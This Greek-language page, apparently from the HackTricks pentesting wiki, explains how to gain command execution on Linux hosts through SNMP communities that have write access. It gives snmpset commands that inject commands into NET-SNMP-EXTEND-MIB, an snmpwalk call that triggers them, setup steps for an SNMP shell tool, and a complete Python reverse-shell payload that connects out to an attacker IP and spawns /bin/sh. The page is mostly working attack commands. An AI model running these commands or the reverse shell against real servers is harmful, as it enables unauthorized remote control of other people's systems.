SNMP RCE

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

SNMP RCE

Το SNMP μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο εάν ο διαχειριστής παραβλέψει την προεπιλεγμένη διαμόρφωσή του στη συσκευή ή τον διακομιστή. Αξιοποιώντας την κοινότητα SNMP με δικαιώματα εγγραφής (rwcommunity) σε ένα λειτουργικό σύστημα Linux, ο επιτιθέμενος μπορεί να εκτελέσει εντολές στον διακομιστή.

Επέκταση υπηρεσιών με επιπλέον εντολές

Για να επεκτείνετε τις υπηρεσίες SNMP και να προσθέσετε επιπλέον εντολές, είναι δυνατό να προσθέσετε νέες γραμμές στον πίνακα "nsExtendObjects". Αυτό μπορεί να επιτευχθεί χρησιμοποιώντας την εντολή snmpset και παρέχοντας τις απαραίτητες παραμέτρους, συμπεριλαμβανομένης της απόλυτης διαδρομής προς το εκτελέσιμο αρχείο και της εντολής που θα εκτελεστεί:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Εισαγωγή Εντολών για Εκτέλεση

Η εισαγωγή εντολών για εκτέλεση στην υπηρεσία SNMP απαιτεί την ύπαρξη και την εκτελεσιμότητα του καλούμενου δυαδικού/σεναρίου. Το NET-SNMP-EXTEND-MIB απαιτεί την παροχή του απόλυτου μονοπατιού προς το εκτελέσιμο.

Για να επιβεβαιωθεί η εκτέλεση της εισαγόμενης εντολής, μπορεί να χρησιμοποιηθεί η εντολή snmpwalk για να απαριθμήσει την υπηρεσία SNMP. Η έξοδος θα εμφανίσει την εντολή και τις σχετικές λεπτομέρειες της, συμπεριλαμβανομένου του απόλυτου μονοπατιού:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Εκτέλεση των εντολών που έχουν εισαχθεί

Όταν η εισαχθείσα εντολή διαβάζεται, εκτελείται. Αυτή η συμπεριφορά είναι γνωστή ως run-on-read(). Η εκτέλεση της εντολής μπορεί να παρατηρηθεί κατά τη διάρκεια της ανάγνωσης του snmpwalk.

Απόκτηση κέλυφους διακομιστή με το SNMP

Για να αποκτήσετε έλεγχο πάνω στον διακομιστή και να λάβετε ένα κέλυφος διακομιστή, μπορείτε να χρησιμοποιήσετε ένα σενάριο python που έχει αναπτυχθεί από τον mxrch από το https://github.com/mxrch/snmp-shell.git.

Εναλλακτικά, μπορείτε να δημιουργήσετε χειροκίνητα ένα αντίστροφο κέλυφος εισάγοντας μια συγκεκριμένη εντολή στο SNMP. Αυτή η εντολή, που ενεργοποιείται από το snmpwalk, θεσπίζει μια σύνδεση αντίστροφου κελύφους με τον υπολογιστή του επιτιθέμενου, επιτρέποντας τον έλεγχο του θύματος. Μπορείτε να εγκαταστήσετε την προϋπόθεση για να εκτελέσετε αυτό:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ή ένα αντίστροφο κέλυφος:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated